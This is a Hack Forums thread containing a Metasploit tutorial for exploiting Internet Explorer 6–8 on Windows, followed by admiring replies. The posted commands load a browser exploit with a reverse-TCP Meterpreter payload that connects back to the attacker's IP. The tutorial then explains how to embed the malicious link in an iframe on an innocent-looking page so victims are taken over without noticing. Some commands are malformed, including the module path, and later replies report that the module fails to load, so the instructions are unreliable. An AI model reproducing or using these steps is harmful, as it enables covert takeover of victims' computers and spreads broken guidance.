

Forum:[Hack Forums](#)

Thread: [\[TUTORIAL\] Metasploit Tutorial Part 2 - EXPLOITING IE8](#)

SIM-2015410 - March 19, 2014, 11:50 pm

Hello Hf,

Welcome to the second part of my Metasploit hacking tutorial.

Make sure you have read tutorial 1 first:

<https://hackforums.net/showthread.php?tid=4124763>

This tutorial will take advantage of your newly installed metasploit framework, to show you a basic exploit.

In this tutorial, I will show you an exploit for Microsoft's Internet Explorer 6, 7, and 8, running on Windows XP, Vista, Windows 7 or Windows Server 2003 and 2008.

You might think "Hah, internet explorer 8 is old...no one will still be using that!". But: Internet Explorer 8 is still the default browser installed on Windows 7, and Windows 7 is probably the most widely used operating system in the world.

So it makes sense that my first basic hacking tutorial will be a hack working on Windows 7.

This exploit works with internet explorer 8.1 and earlier.

First, start Metasploit running (see part 1 for a tutorial about setting up and running metasploit).

1) Find the Exploit we will be using:

We will find the exploit we want by searching Metasploit for a Windows exploit that takes advantage of unsafe scripting. Type this into the meterpreter (metasploit command line):

```
Code msf> search type:exploit platform:windows unsafe
```

This search will return a few results, the one we will be using is: Code
`/exploit/windows/browser/i.e._unsafe_scripting`

2) Tell Metasploit that this is the exploit we want to use. Use this command:

```
Code msf> use /exploit/windows/browser/i.e._unsafe_scripting
```

3) Select the Payload:

The "Payload" is the a code we send along with the exploit, to be executed on the victim's pc. We must first load the payload - in this case, `windows/meterpreter/reverse_tcp`:

```
Code msf> set PAYLOAD windows/meterpreter/reverse_tcp
```

4) Set the exploit options

Use this command to display the options or the exploit:

```
Code msf> show options
```

The selected payload requires us to set the LHOST (local host). This is referring to your computer (the attacker). Enter the IP address (e.g. 192.168.1.8) of the local computer:

```
Code msf> set LHOST 192.168.1.8
```

This exploit is a "Client Side Exploit" meaning it is run on the victims computer when they open the malicious link. That means we dont need to tell the exploit who the victim is at this point. Other exploits may require you to enter the RHOST, which is the target's IP address.

5) Run the Exploit

To run the exploit, simply type:

```
Code msf> exploit (ie_unsafe_scripting) > exploit
```

This will generate a link - a malicious link - which we must get the targets computer to click on/open. When the target opens the link in a vulnerable version of Internet Explorer, it will exploit the browser and we will have "owened" their computer. Here is a good way to exploit the targets browser without them realizing:

6) With a bit of simple HTML, we can add the link into an embedded "iframe" on an innocent webpage. To do so, we just add this html code anywhere inside the <body> element of your page:

```
Code <iframe src="http://192.168.1.100:8080/HG6Kn71Nva "></iframe>
```

When this page is loaded on the victims computer, their browser will be exploited, and it will open an active Meterpreter session that we are connected to. From there, we can control their computer. this is called "owning" their computer or "box".

Thanks for reading, please reply with your thanks if you enjoyed this and/or found it useful.

Watch out for future hacking tutorials from me - further metasploit tutorials and other common hacking topics!

Written by MeshCollider ?

paladin007 - March 19, 2014, 11:59 pm

Looks like a good tuts bro... will go through it.. thanks

SIM-2015410 - March 20, 2014, 12:03 am

(Mar 19, 2014 11:59 PM)paladin007 Wrote: [\[CITE\]](#) Looks like a good tuts bro... will go through it.. thanks

Thanks man, appreciate your reply. Hope you find it useful ?

The Wizard of Dos - March 20, 2014, 12:04 am

Looks good, man. Good luck with the series ?

SIM-2015410 - March 20, 2014, 12:07 am

(Mar 20, 2014 12:04 AM)The Wizard of Dos Wrote: [\[CITE\]](#) Looks good, man. Good luck with the series ?

Thanks again, i hope to upload more tutorials soon, but might have a break for a while ? I dont want to flood the hacking tutorial section with too many at once haha.

HydraPlane - March 20, 2014, 12:22 am

Thanks for the tutorial; well written and to the point.

Looking forward to the series. Keep it up.

SIM-2015410 - March 20, 2014, 12:27 am

(Mar 20, 2014 12:22 AM)HydraPlane Wrote: [\[CITE\]](#) Thanks for the tutorial; well written and to the point.

Looking forward to the series. Keep it up.

Thanks for your replies everyone, great encouragement for me ? i will probably release my next installment in the series within a couple of days. Maybe if i make enough, i will make a collection index page

I think my next topic will be another Operating System hack for windows 7, because that will probably be quite useful for some users ?

I'd appreciate feedback about my tutorials, and any suggestions for future topics are welcome!

xawi1234 - April 16, 2014, 5:19 am

HQ tutorial. Good job man. You are really awesome.

SIM-2015410 - April 16, 2014, 12:06 pm

(Apr 16, 2014 05:19 AM)xawi1234 Wrote: [\[CITE\]](#) HQ tutorial. Good job man. You are really awesome.

Thanks man, appreciate the good feedback. Check out my other tutorials too!

Crossfires - April 18, 2014, 2:44 am

Just wanted to add, I am a new user and use Metasploit for the first time through this guide. When running the search type exploit I got the error "Database not connected or cache not build", don't know if I can link to external sources but if more people have this issue:

```
Code msf > db_status
[*] postgresql connected to msf3
If the database is connected follow step 2
```

Step 1
Code service postgresql start
service metasploit start
Check db_status again

Step2
Code msf > db_rebuild_cache
The above helped for me, now I can continue with your guides :)

SIM-2015410 - April 18, 2014, 2:50 am

(Apr 18, 2014 02:44 AM)Crossfires Wrote: [\[CITE\]](#) Just wanted to add, I am a new user and use Metasploit for the first time through this guide. When running the search type exploit I got the error "Database not connected or cache not build", don't know if I can link to external sources but if more people have this issue:

```
Code msf > db_status
[*] postgresql connected to msf3
If the database is connected follow step 2
```

Step 1
Code service postgresql start
service metasploit start
Check db_status again

Step2

Code msf > db_rebuild_cache

The above helped for me, now I can continue with your guides :)

Thanks for the addition to my tutorial! ?

Crossfires - April 19, 2014, 2:16 am

You're welcome, they are very helpful for a new user!

z3r0cool - April 19, 2014, 2:47 am

Very cool ! pbly help me a lot thanks

Kaytaku - November 23, 2014, 11:23 am

[-] Failed to load module: /exploit/windows/browser/i.e._unsafe_scripting

wolf1024 - December 15, 2014, 9:05 am

a really good tutorial, thanks, will check your other posts

Dr.Sh3hu - May 10, 2016, 9:39 am

The link didn't generate for me, I followed all the steps :/

32x0LF - June 1, 2016, 10:03 pm

Again, Another very nice and informative TUT from you keep it up :)